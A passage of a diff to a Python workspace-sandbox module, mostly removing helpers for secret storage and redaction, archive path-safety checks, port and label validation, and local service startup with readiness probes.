payload.get("network_policy") - if raw_policy is not None: - return _normalize_workspace_network_policy(str(raw_policy)) - raw_network_requested = payload.get("network_requested", False) - if isinstance(raw_network_requested, str): - network_requested = raw_network_requested.strip().lower() in {"1", "true", "yes", "on"} - else: - network_requested = bool(raw_network_requested) - if network_requested: - return "egress" - return DEFAULT_WORKSPACE_NETWORK_POLICY - - -def _serialize_workspace_published_port_public( - published_port: WorkspacePublishedPortRecord, -) -> dict[str, Any]: - return { - "host": published_port.host, - "host_port": published_port.host_port, - "guest_port": published_port.guest_port, - "protocol": published_port.protocol, - } - - -def _workspace_published_port_records(value: object) -> list[WorkspacePublishedPortRecord]: - if not isinstance(value, list): - return [] - records: list[WorkspacePublishedPortRecord] = [] - for item in value: - if not isinstance(item, dict): - continue - records.append(WorkspacePublishedPortRecord.from_payload(item)) - return records - - -def _workspace_secret_records(value: object) -> list[WorkspaceSecretRecord]: - if not isinstance(value, list): - return [] - records: list[WorkspaceSecretRecord] = [] - for item in value: - if not isinstance(item, dict): - continue - records.append(WorkspaceSecretRecord.from_payload(item)) - return records - - -def _serialize_workspace_secret_public(secret: WorkspaceSecretRecord) -> dict[str, Any]: - return { - "name": secret.name, - "source_kind": secret.source_kind, - } - - -def _redact_text(text: str, secret_values: list[str]) -> str: - redacted = text - for secret_value in sorted( - {value for value in secret_values if value != ""}, - key=len, - reverse=True, - ): - redacted = redacted.replace(secret_value, "[REDACTED]") - return redacted - - -def _redact_exception(exc: Exception, secret_values: list[str]) -> Exception: - redacted_message = _redact_text(str(exc), secret_values) - if redacted_message == str(exc): - return exc - return exc.__class__(redacted_message) - - -def _serialize_network(network: NetworkConfig | None) -> dict[str, Any] | None: - if network is None: - return None - return { - "vm_id": network.vm_id, - "tap_name": network.tap_name, - "guest_ip": network.guest_ip, - "gateway_ip": network.gateway_ip, - "subnet_cidr": network.subnet_cidr, - "mac_address": network.mac_address, - "dns_servers": list(network.dns_servers), - } - - -def _deserialize_network(payload: object) -> NetworkConfig | None: - if payload is None: - return None - if not isinstance(payload, dict): - raise TypeError("expected dictionary payload") - dns_servers = payload.get("dns_servers", []) - dns_values = tuple(str(item) for item in dns_servers) if isinstance(dns_servers, list) else () - return NetworkConfig( - vm_id=str(payload["vm_id"]), - tap_name=str(payload["tap_name"]), - guest_ip=str(payload["guest_ip"]), - gateway_ip=str(payload["gateway_ip"]), - subnet_cidr=str(payload["subnet_cidr"]), - mac_address=str(payload["mac_address"]), - dns_servers=dns_values, - ) - - -def _run_host_command( - workdir: Path, - command: str, - timeout_seconds: int, - *, - env_overrides: dict[str, str] | None = None, -) -> VmExecResult: +def _run_host_command(workdir: Path, command: str, timeout_seconds: int) -> VmExecResult: started = time.monotonic() env = {"PATH": os.environ.get("PATH", ""), "HOME": str(workdir)} - if env_overrides is not None: - env.update(env_overrides) try: proc = subprocess.run( # noqa: S603 ["bash", "-lc", command], # noqa: S607 @@ -857,1388 +102,6 @@ def _copy_rootfs(source: Path, dest: Path) -> str: return "copy2" -def _wrap_guest_command(command: str, *, cwd: str | None = None) -> str: - if cwd is None: - return command - quoted_cwd = shlex.quote(cwd) - return f"mkdir -p {quoted_cwd} && cd {quoted_cwd} && {command}" - - -def _is_supported_seed_archive(path: Path) -> bool: - name = path.name.lower() - return name.endswith(".tar") or name.endswith(".tar.gz") or name.endswith(".tgz") - - -def _normalize_workspace_destination(destination: str) -> tuple[str, PurePosixPath]: - candidate = destination.strip() - if candidate == "": - raise ValueError("workspace destination must not be empty") - destination_path = PurePosixPath(candidate) - if any(part == ".." for part in destination_path.parts): - raise ValueError("workspace destination must stay inside /workspace") - workspace_root = PurePosixPath(WORKSPACE_GUEST_PATH) - if not destination_path.is_absolute(): - destination_path = workspace_root / destination_path - parts = [part for part in destination_path.parts if part not in {"", "."}] - normalized = PurePosixPath("/") / PurePosixPath(*parts) - if normalized == PurePosixPath("/"): - raise ValueError("workspace destination must stay inside /workspace") - if normalized.parts[: len(workspace_root.parts)] != workspace_root.parts: - raise ValueError("workspace destination must stay inside /workspace") - suffix = normalized.relative_to(workspace_root) - return str(normalized), suffix - - -def _workspace_host_destination(workspace_dir: Path, destination: str) -> Path: - _, suffix = _normalize_workspace_destination(destination) - if str(suffix) in {"", "."}: - return workspace_dir - return workspace_dir.joinpath(*suffix.parts) - - -def _normalize_workspace_disk_path(path: str) -> str: - candidate = path.strip() - if candidate == "": - raise ValueError("workspace disk path must not be empty") - if candidate.startswith("/"): - raw_path = PurePosixPath(candidate) - normalized_parts: list[str] = [] - for part in raw_path.parts: - if part in {"", "/", "."}: - continue - if part == "..": - if normalized_parts: - normalized_parts.pop() - continue - normalized_parts.append(part) - if not normalized_parts: - return "/" - return str(PurePosixPath("/") / PurePosixPath(*normalized_parts)) - normalized, _ = _normalize_workspace_destination(candidate) - return normalized - - -def _normalize_workspace_file_path(path: str) -> str: - return normalize_workspace_path(path) - - -def _validate_workspace_file_read_max_bytes(max_bytes: int) -> int: - if max_bytes <= 0: - raise ValueError("max_bytes must be positive") - if max_bytes > WORKSPACE_FILE_MAX_BYTES: - raise ValueError(f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes") - return max_bytes - - -def _validate_workspace_text_payload(text: str, *, field_name: str) -> str: - encoded = text.encode("utf-8") - if len(encoded) > WORKSPACE_FILE_MAX_BYTES: - raise ValueError( - f"{field_name} must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" - ) - return text - - -def _validate_workspace_patch_text(patch: str) -> str: - if patch.strip() == "": - raise ValueError("patch must not be empty") - encoded = patch.encode("utf-8") - if len(encoded) > WORKSPACE_PATCH_MAX_BYTES: - raise ValueError( - f"patch must be at most {WORKSPACE_PATCH_MAX_BYTES} bytes when encoded as UTF-8" - ) - return patch - - -def _decode_workspace_patch_text(path: str, content_bytes: bytes) -> str: - try: - return content_bytes.decode("utf-8") - except UnicodeDecodeError as exc: - raise RuntimeError(f"workspace patch only supports UTF-8 text files: {path}") from exc - - -def _normalize_archive_member_name(name: str) -> PurePosixPath: - candidate = name.strip() - if candidate == "": - raise RuntimeError("archive member path is empty") - member_path = PurePosixPath(candidate) - if member_path.is_absolute(): - raise RuntimeError(f"absolute archive member paths are not allowed: {name}") - parts = [part for part in member_path.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"unsafe archive member path: {name}") - normalized = PurePosixPath(*parts) - if str(normalized) in {"", "."}: - raise RuntimeError(f"unsafe archive member path: {name}") - return normalized - - -def _validate_archive_symlink_target(member_name: PurePosixPath, link_target: str) -> None: - target = link_target.strip() - if target == "": - raise RuntimeError(f"symlink {member_name} has an empty target") - link_path = PurePosixPath(target) - if link_path.is_absolute(): - raise RuntimeError(f"symlink {member_name} escapes the workspace") - combined = member_name.parent.joinpath(link_path) - parts = [part for part in combined.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"symlink {member_name} escapes the workspace") - - -def _inspect_seed_archive(archive_path: Path) -> tuple[int, int]: - entry_count = 0 - bytes_written = 0 - with tarfile.open(archive_path, "r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_archive_member_name(member.name) - entry_count += 1 - if member.isdir(): - continue - if member.isfile(): - bytes_written += member.size - continue - if member.issym(): - _validate_archive_symlink_target(member_name, member.linkname) - continue - if member.islnk(): - raise RuntimeError( - f"hard links are not allowed in workspace archives: {member.name}" - ) - raise RuntimeError(f"unsupported archive member type: {member.name}") - return entry_count, bytes_written - - -def _write_directory_seed_archive(source_dir: Path, archive_path: Path) -> None: - archive_path.parent.mkdir(parents=True, exist_ok=True) - with tarfile.open(archive_path, "w") as archive: - for child in sorted(source_dir.iterdir(), key=lambda item: item.name): - archive.add(child, arcname=child.name, recursive=True) - - -def _write_empty_seed_archive(archive_path: Path) -> None: - archive_path.parent.mkdir(parents=True, exist_ok=True) - with tarfile.open(archive_path, "w"): - pass - - -def _prepare_workspace_secrets( - secrets: list[dict[str, str]] | None, - *, - secrets_dir: Path, -) -> tuple[list[WorkspaceSecretRecord], dict[str, str]]: - if not secrets: - return [], {} - secrets_dir.mkdir(parents=True, exist_ok=True) - records: list[WorkspaceSecretRecord] = [] - values_by_name: dict[str, str] = {} - for index, item in enumerate(secrets, start=1): - if not isinstance(item, dict): - raise ValueError(f"secret #{index} must be a dictionary") - raw_name = item.get("name") - if raw_name is None: - raise ValueError(f"secret #{index} is missing 'name'") - name = _normalize_workspace_secret_name(str(raw_name)) - if name in values_by_name: - raise ValueError(f"duplicate secret name: {name}") - has_value = "value" in item - has_file_path = "file_path" in item - if has_value == has_file_path: - raise ValueError(f"secret {name!r} must provide exactly one of 'value' or 'file_path'") - source_kind: WorkspaceSecretSourceKind - if has_value: - value = _validate_workspace_secret_value(name, str(item["value"])) - source_kind = "literal" - else: - raw_file_path = str(item["file_path"]).strip() - if raw_file_path == "": - raise ValueError(f"secret {name!r} file_path must not be empty") - resolved_file_path = Path(raw_file_path).expanduser().resolve() - if not resolved_file_path.exists() or not resolved_file_path.is_file(): - raise ValueError(f"secret file for {name!r} does not exist: {resolved_file_path}") - try: - raw_bytes = resolved_file_path.read_bytes() - except OSError as exc: - raise ValueError( - f"failed to read secret file for {name!r}: {resolved_file_path}" - ) from exc - if len(raw_bytes) > WORKSPACE_SECRET_MAX_BYTES: - raise ValueError( - f"secret {name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" - ) - try: - value = raw_bytes.decode("utf-8") - except UnicodeDecodeError as exc: - raise ValueError(f"secret {name!r} must be valid UTF-8 text") from exc - value = _validate_workspace_secret_value(name, value) - source_kind = "file" - stored_path = f"{name}.secret" - secret_path = secrets_dir / stored_path - secret_path.write_text(value, encoding="utf-8") - secret_path.chmod(0o600) - values_by_name[name] = value - records.append( - WorkspaceSecretRecord( - name=name, - source_kind=source_kind, - stored_path=stored_path, - ) - ) - secrets_dir.chmod(0o700) - records.sort(key=lambda item: item.name) - return records, {record.name: values_by_name[record.name] for record in records} - - -def _load_workspace_secret_values( - *, - workspace_dir: Path, - secrets: list[WorkspaceSecretRecord], -) -> dict[str, str]: - values: dict[str, str] = {} - for secret in secrets: - secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path - if not secret_path.exists() or not secret_path.is_file(): - raise RuntimeError(f"secret material is unavailable for {secret.name!r}") - values[secret.name] = secret_path.read_text(encoding="utf-8") - return values - - -def _build_workspace_secret_archive( - *, - workspace_dir: Path, - secrets: list[WorkspaceSecretRecord], - archive_path: Path, -) -> tuple[int, int]: - archive_path.parent.mkdir(parents=True, exist_ok=True) - entry_count = 0 - bytes_written = 0 - with tarfile.open(archive_path, "w") as archive: - for secret in secrets: - secret_path = workspace_dir / WORKSPACE_SECRETS_DIRNAME / secret.stored_path - value = secret_path.read_bytes() - info = tarfile.TarInfo(name=secret.name) - info.size = len(value) - info.mode = 0o600 - archive.addfile(info, io.BytesIO(value)) - entry_count += 1 - bytes_written += len(value) - return entry_count, bytes_written - - -def _persist_workspace_baseline( - prepared_seed: PreparedWorkspaceSeed, - *, - baseline_archive_path: Path, -) -> None: - baseline_archive_path.parent.mkdir(parents=True, exist_ok=True) - if prepared_seed.archive_path is None: - _write_empty_seed_archive(baseline_archive_path) - return - shutil.copy2(prepared_seed.archive_path, baseline_archive_path) - - -def _write_workspace_export_archive( - source_path: Path, - *, - archive_path: Path, -) -> WorkspaceArtifactType: - archive_path.parent.mkdir(parents=True, exist_ok=True) - if source_path.is_symlink(): - artifact_type: WorkspaceArtifactType = "symlink" - elif source_path.is_file(): - artifact_type = "file" - elif source_path.is_dir(): - artifact_type = "directory" - else: - raise RuntimeError(f"unsupported workspace path type: {source_path}") - - def validate_source(current_path: Path, relative_path: PurePosixPath) -> None: - if current_path.is_symlink(): - _validate_archive_symlink_target(relative_path, os.readlink(current_path)) - return - if current_path.is_file(): - return - if current_path.is_dir(): - for child in sorted(current_path.iterdir(), key=lambda item: item.name): - validate_source(child, relative_path / child.name) - return - raise RuntimeError(f"unsupported workspace path type: {current_path}") - - if artifact_type == "directory": - for child in sorted(source_path.iterdir(), key=lambda item: item.name): - validate_source(child, PurePosixPath(child.name)) - else: - validate_source(source_path, PurePosixPath(source_path.name)) - with tarfile.open(archive_path, "w") as archive: - archive.dereference = False - if artifact_type == "directory": - for child in sorted(source_path.iterdir(), key=lambda item: item.name): - archive.add(child, arcname=child.name, recursive=True) - else: - archive.add(source_path, arcname=source_path.name, recursive=False) - return artifact_type - - -def _extract_seed_archive_to_host_workspace( - archive_path: Path, - *, - workspace_dir: Path, - destination: str, -) -> dict[str, Any]: - normalized_destination, _ = _normalize_workspace_destination(destination) - destination_root = _workspace_host_destination(workspace_dir, normalized_destination) - destination_root.mkdir(parents=True, exist_ok=True) - entry_count = 0 - bytes_written = 0 - with tarfile.open(archive_path, "r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_archive_member_name(member.name) - target_path = destination_root.joinpath(*member_name.parts) - entry_count += 1 - _ensure_no_symlink_parents(workspace_dir, target_path, member.name) - if member.isdir(): - if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): - raise RuntimeError(f"directory conflicts with existing path: {member.name}") - target_path.mkdir(parents=True, exist_ok=True) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.is_symlink() or target_path.is_dir(): - raise RuntimeError(f"file conflicts with existing path: {member.name}") - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read archive member: {member.name}") - with target_path.open("wb") as handle: - shutil.copyfileobj(source, handle) - bytes_written += member.size - continue - if member.issym(): - _validate_archive_symlink_target(member_name, member.linkname) - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and not target_path.is_symlink(): - raise RuntimeError(f"symlink conflicts with existing path: {member.name}") - if target_path.is_symlink(): - target_path.unlink() - os.symlink(member.linkname, target_path) - continue - if member.islnk(): - raise RuntimeError( - f"hard links are not allowed in workspace archives: {member.name}" - ) - raise RuntimeError(f"unsupported archive member type: {member.name}") - return { - "destination": normalized_destination, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _prepare_workspace_export_archive( - *, - workspace_dir: Path, - workspace_path: str, - archive_path: Path, -) -> ExportedWorkspaceArchive: - normalized_workspace_path, _ = _normalize_workspace_destination(workspace_path) - source_path = _workspace_host_destination(workspace_dir, normalized_workspace_path) - if not source_path.exists() and not source_path.is_symlink(): - raise RuntimeError(f"workspace path does not exist: {normalized_workspace_path}") - artifact_type = _write_workspace_export_archive(source_path, archive_path=archive_path) - entry_count, bytes_written = _inspect_seed_archive(archive_path) - return ExportedWorkspaceArchive( - workspace_path=normalized_workspace_path, - artifact_type=artifact_type, - archive_path=archive_path, - entry_count=entry_count, - bytes_written=bytes_written, - ) - - -def _extract_workspace_export_archive( - archive_path: Path, - *, - output_path: Path, - artifact_type: WorkspaceArtifactType, -) -> dict[str, Any]: - output_path.parent.mkdir(parents=True, exist_ok=True) - if output_path.exists() or output_path.is_symlink(): - raise RuntimeError(f"output_path already exists: {output_path}") - - entry_count = 0 - bytes_written = 0 - if artifact_type == "directory": - output_path.mkdir(parents=True, exist_ok=False) - with tarfile.open(archive_path, "r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_archive_member_name(member.name) - target_path = output_path.joinpath(*member_name.parts) - entry_count += 1 - _ensure_no_symlink_parents(output_path, target_path, member.name) - if member.isdir(): - if target_path.is_symlink() or ( - target_path.exists() and not target_path.is_dir() - ): - raise RuntimeError(f"directory conflicts with existing path: {member.name}") - target_path.mkdir(parents=True, exist_ok=True) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.is_symlink() or target_path.is_dir(): - raise RuntimeError(f"file conflicts with existing path: {member.name}") - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read archive member: {member.name}") - with target_path.open("wb") as handle: - shutil.copyfileobj(source, handle) - bytes_written += member.size - continue - if member.issym(): - _validate_archive_symlink_target(member_name, member.linkname) - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and not target_path.is_symlink(): - raise RuntimeError(f"symlink conflicts with existing path: {member.name}") - if target_path.is_symlink(): - target_path.unlink() - os.symlink(member.linkname, target_path) - continue - if member.islnk(): - raise RuntimeError( - f"hard links are not allowed in workspace archives: {member.name}" - ) - raise RuntimeError(f"unsupported archive member type: {member.name}") - return { - "output_path": str(output_path), - "artifact_type": artifact_type, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - with tarfile.open(archive_path, "r:*") as archive: - members = archive.getmembers() - if len(members) != 1: - raise RuntimeError( - "expected exactly one archive member for " - f"{artifact_type} export, got {len(members)}" - ) - member = members[0] - _normalize_archive_member_name(member.name) - entry_count = 1 - if artifact_type == "file": - if not member.isfile(): - raise RuntimeError("exported archive did not contain a regular file") - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read archive member: {member.name}") - with output_path.open("wb") as handle: - shutil.copyfileobj(source, handle) - bytes_written = member.size - elif artifact_type == "symlink": - if not member.issym(): - raise RuntimeError("exported archive did not contain a symlink") - _validate_archive_symlink_target(PurePosixPath(member.name), member.linkname) - os.symlink(member.linkname, output_path) - else: - raise RuntimeError(f"unsupported artifact type: {artifact_type}") - return { - "output_path": str(output_path), - "artifact_type": artifact_type, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _normalize_workspace_service_name(service_name: str) -> str: - normalized = service_name.strip() - if normalized == "": - raise ValueError("service_name must not be empty") - if WORKSPACE_SERVICE_NAME_RE.fullmatch(normalized) is None: - raise ValueError( - "service_name must match " - r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" - ) - return normalized - - -def _normalize_workspace_name( - name: str | None, - *, - allow_none: bool = False, -) -> str | None: - if name is None: - if allow_none: - return None - raise ValueError("name must not be empty") - normalized = name.strip() - if normalized == "": - if allow_none: - return None - raise ValueError("name must not be empty") - if len(normalized) > 120: - raise ValueError("name must be at most 120 characters") - return normalized - - -def _normalize_workspace_label_key(label_key: str) -> str: - normalized = label_key.strip() - if normalized == "": - raise ValueError("label key must not be empty") - if WORKSPACE_LABEL_KEY_RE.fullmatch(normalized) is None: - raise ValueError( - "label key must match " - r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" - ) - return normalized - - -def _normalize_workspace_label_value(label_key: str, label_value: str) -> str: - normalized = label_value.strip() - if normalized == "": - raise ValueError(f"label {label_key!r} must not be empty") - if len(normalized) > 120: - raise ValueError(f"label {label_key!r} must be at most 120 characters") - if "\n" in normalized or "\r" in normalized: - raise ValueError(f"label {label_key!r} must not contain newlines") - try: - normalized.encode("utf-8") - except UnicodeEncodeError as exc: - raise ValueError(f"label {label_key!r} must be valid UTF-8 text") from exc - return normalized - - -def _normalize_workspace_labels(value: object) -> dict[str, str]: - if value is None: - return {} - if not isinstance(value, dict): - raise ValueError("labels must be an object mapping keys to values") - normalized: dict[str, str] = {} - for raw_key, raw_value in value.items(): - key = _normalize_workspace_label_key(str(raw_key)) - label_value = _normalize_workspace_label_value(key, str(raw_value)) - normalized[key] = label_value - return dict(sorted(normalized.items())) - - -def _normalize_workspace_snapshot_name( - snapshot_name: str, - *, - allow_baseline: bool = False, -) -> str: - normalized = snapshot_name.strip() - if normalized == "": - raise ValueError("snapshot_name must not be empty") - if normalized == "baseline" and not allow_baseline: - raise ValueError("snapshot_name 'baseline' is reserved") - if WORKSPACE_SNAPSHOT_NAME_RE.fullmatch(normalized) is None: - raise ValueError( - "snapshot_name must match " - r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$" - ) - return normalized - - -def _normalize_workspace_secret_name(secret_name: str) -> str: - normalized = secret_name.strip() - if normalized == "": - raise ValueError("secret name must not be empty") - if WORKSPACE_SECRET_NAME_RE.fullmatch(normalized) is None: - raise ValueError( - "secret name must match " - r"^[A-Za-z_][A-Za-z0-9_]{0,63}$" - ) - return normalized - - -def _validate_workspace_secret_value(secret_name: str, value: str) -> str: - try: - encoded = value.encode("utf-8") - except UnicodeEncodeError as exc: - raise ValueError(f"secret {secret_name!r} must be valid UTF-8 text") from exc - if value == "": - raise ValueError(f"secret {secret_name!r} must not be empty") - if len(encoded) > WORKSPACE_SECRET_MAX_BYTES: - raise ValueError( - f"secret {secret_name!r} must be at most {WORKSPACE_SECRET_MAX_BYTES} bytes" - ) - return value - - -def _normalize_workspace_secret_env_mapping( - secret_env: dict[str, str] | None, -) -> dict[str, str]: - if secret_env is None: - return {} - normalized: dict[str, str] = {} - for secret_name, env_name in secret_env.items(): - normalized_secret_name = _normalize_workspace_secret_name(str(secret_name)) - normalized_env_name = _normalize_workspace_secret_name(str(env_name)) - if normalized_secret_name in normalized: - raise ValueError( - f"secret_env references secret {normalized_secret_name!r} more than once" - ) - normalized[normalized_secret_name] = normalized_env_name - return normalized - - -def _normalize_workspace_published_port( - *, - guest_port: object, - host_port: object | None = None, -) -> WorkspacePublishedPortSpec: - if isinstance(guest_port, bool) or not isinstance(guest_port, int | str): - raise ValueError("published guest_port must be an integer") - try: - normalized_guest_port = int(guest_port) - except (TypeError, ValueError) as exc: - raise ValueError("published guest_port must be an integer") from exc - if normalized_guest_port <= 0 or normalized_guest_port > 65535: - raise ValueError("published guest_port must be between 1 and 65535") - normalized_host_port: int | None = None - if host_port is not None: - if isinstance(host_port, bool) or not isinstance(host_port, int | str): - raise ValueError("published host_port must be an integer") - try: - normalized_host_port = int(host_port) - except (TypeError, ValueError) as exc: - raise ValueError("published host_port must be an integer") from exc - if normalized_host_port <= 1024 or normalized_host_port > 65535: - raise ValueError("published host_port must be between 1025 and 65535") - return WorkspacePublishedPortSpec( - guest_port=normalized_guest_port, - host_port=normalized_host_port, - ) - - -def _normalize_workspace_published_port_specs( - published_ports: list[dict[str, Any]] | None, -) -> list[WorkspacePublishedPortSpec]: - if not published_ports: - return [] - normalized: list[WorkspacePublishedPortSpec] = [] - seen_guest_ports: set[tuple[int | None, int]] = set() - for index, item in enumerate(published_ports, start=1): - if not isinstance(item, dict): - raise ValueError(f"published port #{index} must be a dictionary") - spec = _normalize_workspace_published_port( - guest_port=item.get("guest_port"), - host_port=item.get("host_port"), - ) - dedupe_key = (spec.host_port, spec.guest_port) - if dedupe_key in seen_guest_ports: - raise ValueError("published ports must not repeat the same host/guest port mapping") - seen_guest_ports.add(dedupe_key) - normalized.append(spec) - return normalized - - -def _normalize_workspace_service_readiness( - readiness: dict[str, Any] | None, -) -> dict[str, Any] | None: - if readiness is None: - return None - readiness_type = str(readiness.get("type", "")).strip().lower() - if readiness_type not in {"file", "tcp", "http", "command"}: - raise ValueError("readiness.type must be one of: file, tcp, http, command") - if readiness_type == "file": - path = str(readiness.get("path", "")).strip() - if path == "": - raise ValueError("readiness.path is required for file readiness") - normalized_path, _ = _normalize_workspace_destination(path) - return {"type": "file", "path": normalized_path} - if readiness_type == "tcp": - address = str(readiness.get("address", "")).strip() - if ":" not in address: - raise ValueError("readiness.address must be in HOST:PORT format") - host, raw_port = address.rsplit(":", 1) - host = host.strip() - if host == "": - raise ValueError("readiness.address host must not be empty") - try: - port = int(raw_port) - except ValueError as exc: - raise ValueError("readiness.address port must be an integer") from exc - if port <= 0 or port > 65535: - raise ValueError("readiness.address port must be between 1 and 65535") - return {"type": "tcp", "address": f"{host}:{port}"} - if readiness_type == "http": - url = str(readiness.get("url", "")).strip() - if url == "": - raise ValueError("readiness.url is required for http readiness") - return {"type": "http", "url": url} - command = str(readiness.get("command", "")).strip() - if command == "": - raise ValueError("readiness.command is required for command readiness") - return {"type": "command", "command": command} - - -def _workspace_service_status_path(services_dir: Path, service_name: str) -> Path: - return services_dir / f"{service_name}.status" - - -def _workspace_service_stdout_path(services_dir: Path, service_name: str) -> Path: - return services_dir / f"{service_name}.stdout" - - -def _workspace_service_stderr_path(services_dir: Path, service_name: str) -> Path: - return services_dir / f"{service_name}.stderr" - - -def _workspace_service_runner_path(services_dir: Path, service_name: str) -> Path: - return services_dir / f"{service_name}.runner.sh" - - -def _workspace_service_port_ready_path( - services_dir: Path, - service_name: str, - host_port: int, - guest_port: int, -) -> Path: - return services_dir / f"{service_name}.port-{host_port}-to-{guest_port}.ready.json" - - -def _read_service_exit_code(status_path: Path) -> int | None: - if not status_path.exists(): - return None - raw_value = status_path.read_text(encoding="utf-8", errors="ignore").strip() - if raw_value == "": - return None - return int(raw_value) - - -def _tail_text(path: Path, *, tail_lines: int | None) -> tuple[str, bool]: - if not path.exists(): - return "", False - text = path.read_text(encoding="utf-8", errors="replace") - if tail_lines is None: - return text, False - lines = text.splitlines(keepends=True) - if len(lines) <= tail_lines: - return text, False - return "".join(lines[-tail_lines:]), True - - -def _stop_process_group(pid: int, *, wait_seconds: int = 5) -> tuple[bool, bool]: - try: - os.killpg(pid, signal.SIGTERM) - except ProcessLookupError: - return False, False - deadline = time.monotonic() + wait_seconds - while time.monotonic() < deadline: - if not _pid_is_running(pid): - return True, False - time.sleep(0.1) - try: - os.killpg(pid, signal.SIGKILL) - except ProcessLookupError: - return True, False - deadline = time.monotonic() + wait_seconds - while time.monotonic() < deadline: - if not _pid_is_running(pid): - return True, True - time.sleep(0.1) - return True, True - - -def _linux_process_state(pid: int) -> str | None: - stat_path = Path("/proc") / str(pid) / "stat" - try: - raw_stat = stat_path.read_text(encoding="utf-8", errors="replace").strip() - except OSError: - return None - if raw_stat == "": - return None - closing_paren = raw_stat.rfind(")") - if closing_paren == -1: - return None - suffix = raw_stat[closing_paren + 2 :] - if suffix == "": - return None - return suffix.split(" ", 1)[0] - - -def _run_service_probe_command( - cwd: Path, - command: str, - *, - env_overrides: dict[str, str] | None = None, -) -> int: - env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} - if env_overrides is not None: - env.update(env_overrides) - proc = subprocess.run( # noqa: S603 - ["bash", "-lc", command], # noqa: S607 - cwd=cwd, - env=env, - text=True, - capture_output=True, - timeout=10, - check=False, - ) - return proc.returncode - - -def _service_ready_on_host( - *, - readiness: dict[str, Any] | None, - workspace_dir: Path, - cwd: Path, - env_overrides: dict[str, str] | None = None, -) -> bool: - if readiness is None: - return True - readiness_type = str(readiness["type"]) - if readiness_type == "file": - ready_path = _workspace_host_destination(workspace_dir, str(readiness["path"])) - return ready_path.exists() - if readiness_type == "tcp": - host, raw_port = str(readiness["address"]).rsplit(":", 1) - with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: - sock.settimeout(1) - try: - sock.connect((host, int(raw_port))) - except OSError: - return False - return True - if readiness_type == "http": - request = urllib.request.Request(str(readiness["url"]), method="GET") - try: - with urllib.request.urlopen(request, timeout=2) as response: # noqa: S310 - return 200 <= int(response.status) < 400 - except (urllib.error.URLError, TimeoutError, ValueError): - return False - if readiness_type == "command": - try: - return ( - _run_service_probe_command( - cwd, - str(readiness["command"]), - env_overrides=env_overrides, - ) - == 0 - ) - except (OSError, subprocess.TimeoutExpired): - return False - raise RuntimeError(f"unsupported readiness type: {readiness_type}") - - -def _refresh_local_service_record( - service: WorkspaceServiceRecord, - *, - services_dir: Path, -) -> WorkspaceServiceRecord: - if service.state != "running" or service.pid is None: - return service - if _pid_is_running(service.pid): - return service - refreshed = WorkspaceServiceRecord( - workspace_id=service.workspace_id, - service_name=service.service_name, - command=service.command, - cwd=service.cwd, - state="exited", - started_at=service.started_at, - readiness=dict(service.readiness) if service.readiness is not None else None, - ready_at=service.ready_at, - ended_at=service.ended_at or time.time(), - exit_code=_read_service_exit_code( - _workspace_service_status_path(services_dir, service.service_name) - ), - pid=service.pid, - execution_mode=service.execution_mode, - stop_reason=service.stop_reason, - published_ports=list(service.published_ports), - metadata=dict(service.metadata), - ) - return refreshed - - -def _start_local_service( - *, - services_dir: Path, - workspace_dir: Path, - workspace_id: str, - service_name: str, - command: str, - cwd_text: str, - readiness: dict[str, Any] | None, - ready_timeout_seconds: int, - ready_interval_ms: int, - env_overrides: dict[str, str] | None = None, -) -> WorkspaceServiceRecord: - services_dir.mkdir(parents=True, exist_ok=True) - cwd = _workspace_host_destination(workspace_dir, cwd_text) - cwd.mkdir(parents=True, exist_ok=True) - stdout_path = _workspace_service_stdout_path(services_dir, service_name) - stderr_path = _workspace_service_stderr_path(services_dir, service_name) - status_path = _workspace_service_status_path(services_dir, service_name) - runner_path = _workspace_service_runner_path(services_dir, service_name) - stdout_path.write_text("", encoding="utf-8") - stderr_path.write_text("", encoding="utf-8") - status_path.unlink(missing_ok=True) - runner_path.write_text( - "\n".join( - [ - "#!/bin/sh", - "set +e", - f"cd {shlex.quote(str(cwd))}", - ( - f"/bin/sh -lc {shlex.quote(command)}" - f" >> {shlex.quote(str(stdout_path))}" - f" 2>> {shlex.quote(str(stderr_path))}" - ), - "status=$?", - f"printf '%s' \"$status\" > {shlex.quote(str(status_path))}", - 'exit "$status"', - ] - ) - + "\n", - encoding="utf-8", - ) - runner_path.chmod(0o700) - env = {"PATH": os.environ.get("PATH", ""), "HOME": str(cwd)} - if env_overrides is not None: - env.update(env_overrides) - process = subprocess.Popen( # noqa: S603 - [str(runner_path)], - cwd=str(cwd), - env=env, - text=True, - start_new_session=True, - ) - started_at = time.time() - service = WorkspaceServiceRecord( - workspace_id=workspace_id, - service_name=service_name, - command=command, - cwd=cwd_text, - state="running", - started_at=started_at, - readiness=dict(readiness) if readiness is not None else None, - ready_at=None, - ended_at=None, - exit_code=None, - pid=process.pid, - execution_mode="host_compat", - stop_reason=None, - ) - deadline = time.monotonic() + ready_timeout_seconds - while True: - service = _refresh_local_service_record(service, services_dir=services_dir) - if service.state != "running": - service.state = "failed" - service.stop_reason = "process_exited_before_ready" - if service.ended_at is None: - service.ended_at = time.time() - return service - if _service_ready_on_host( - readiness=readiness, - workspace_dir=workspace_dir, - cwd=cwd, 